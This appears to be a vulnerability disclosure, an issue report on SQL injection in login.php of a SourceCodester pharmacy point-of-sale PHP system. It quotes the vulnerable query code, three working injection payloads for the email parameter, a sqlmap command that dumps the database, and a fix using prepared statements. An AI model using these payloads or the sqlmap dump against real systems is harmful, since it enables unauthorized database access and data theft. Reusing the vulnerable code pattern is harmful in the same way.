Open
Description
SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 login.php SQL injection vulnerability
NAME OF AFFECTED PRODUCT(S)
- Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
- Huang Yue
Vulnerable File
- login.php
VERSION(S)
- V1.0
Software Link
PROBLEM TYPE
Vulnerability Type
- SQL injection
Root Cause
- A SQL injection vulnerability was found in the 'login.php' file of the 'Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code' project. This issue arises because user inputs $user and $pass from $_POST['email'] and $_POST['password'] are directly used in SQL queries without proper sanitization or validation. This allows attackers to craft input values that can manipulate the SQL query and execute unauthorized operations.

Vulnerability code snippets
<?php
if (isset($_POST['login']))
{
$user = $_POST['email'];
$pass = $_POST['password'];
$con = new mysqli('localhost','root','','medical');
$result = $con->query("SELECT * FROM users WHERE email='$user' AND password='$pass'");
if($result->num_rows>0)
{
session_start();
$data = $result->fetch_assoc();
$_SESSION['userId']=$data['id'];
$_SESSION['bill'] = array();
header('location:index.php');
}
else
{
echo
"<script>
\$(document).ready(function(){\$('#error').slideDown().html('Login Error! Try again.').delay(3000).fadeOut();});
</script>
}
} - In the aforementioned code, the user inputs $user and $pass are directly embedded into the SQL query statement without any form of processing. This allows attackers to manipulate the query statement by including malicious SQL code in their inputs, thereby executing unauthorized database operations.
Impact
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
- During the security review of the "Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code," Huang Yue discovered a critical SQL injection vulnerability in the
login.phpfile. This vulnerability stems from inadequate validation of user inputs for the email and password parameters, allowing attackers to inject malicious SQL queries. As a result, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information. Immediate remediation is required to secure the system and protect data integrity.
No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability type:
- OR boolean-based blind - WHERE or HAVING clause
- MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
- MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Vulnerability location:
- 'email' parameter
Payload:
email=-4156' OR 1214=1214-- DSCn&password=123&login=
email=111@qq.com' OR ROW(5293,9929)>(SELECT COUNT(*),CONCAT(0x717a7a7a71,(SELECT (ELT(5293=5293,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM (SELECT 8662 UNION SELECT 9796 UNION SELECT 9505 UNION SELECT 3269)a GROUP BY x)-- ahqP&password=123&login=
email=111@qq.com' AND (SELECT 8848 FROM (SELECT(SLEEP(5)))zeUx)-- fOou&password=123&login=
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: email=-4156' OR 1214=1214-- DSCn&password=123&login=
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: email=111@qq.com' OR ROW(5293,9929)>(SELECT COUNT(*),CONCAT(0x717a7a7a71,(SELECT (ELT(5293=5293,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM (SELECT 8662 UNION SELECT 9796 UNION SELECT 9505 UNION SELECT 3269)a GROUP BY x)-- ahqP&password=123&login=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=111@qq.com' AND (SELECT 8848 FROM (SELECT(SLEEP(5)))zeUx)-- fOou&password=123&login=The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
python sqlmap.py -u "http://192.168.31.216:8116/login.php" --data="email=111@qq.com&password=123&login=" --batch --dbms=mysql --level=5 --risk=3 --dumpSuggested repair
- To prevent SQL injection vulnerabilities, it is recommended to use preprocessed statements and parameter binding when processing user input. The modified code is as follows:
if (isset($_POST['login'])) {
$user = $_POST['email'];
$pass = $_POST['password'];
$con = new mysqli('localhost', 'root', '', 'medical');
// 使用预处理语句
$stmt = $con->prepare("SELECT * FROM users WHERE email=? AND password=?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
session_start();
$data = $result->fetch_assoc();
$_SESSION['userId'] = $data['id'];
$_SESSION['bill'] = array();
header('Location: index.php');
} else {
echo "<script>
\$(document).ready(function(){
\$('#error').slideDown().html('Login Error! Try again.').delay(3000).fadeOut();
});
</script>";
}
$stmt->close();
$con->close();
}Metadata
Metadata
Assignees
Labels
No labels







